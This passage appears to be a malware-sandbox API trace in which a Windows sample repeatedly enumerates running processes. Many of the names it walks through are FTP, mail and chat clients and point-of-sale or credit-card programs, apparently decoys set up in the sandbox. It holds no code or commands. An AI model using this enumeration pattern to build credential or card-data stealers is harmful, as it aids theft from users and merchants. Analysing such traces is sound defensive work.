lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0253.934] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0253.936] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0253.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0253.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0253.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0253.979] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0253.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0253.983] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0253.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0253.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0253.988] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0253.990] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0253.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0253.993] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0253.995] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0253.997] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0253.998] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0254.000] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0254.002] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0254.003] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0254.005] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0254.007] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0254.008] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0254.010] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0254.011] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0254.013] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0254.014] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0254.016] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0254.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0254.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0254.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0254.072] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0254.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0254.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0254.077] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0254.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0254.081] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0254.083] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0254.086] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0254.088] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.090] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.092] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.094] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0254.096] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0254.107] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0254.108] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0254.110] CloseHandle (hObject=0x13b0) returned 1 [0254.110] Sleep (dwMilliseconds=0x64) [0254.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0254.173] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.175] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.177] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.179] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.180] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.182] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.184] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.185] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.187] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.190] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.192] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.194] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.196] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.197] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.199] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.201] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.203] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.204] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.255] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.256] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.258] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.259] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.261] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.262] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.263] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.265] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.266] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.267] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.269] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0254.270] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0254.272] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.273] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.275] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0254.276] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0254.277] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0254.279] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0254.280] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 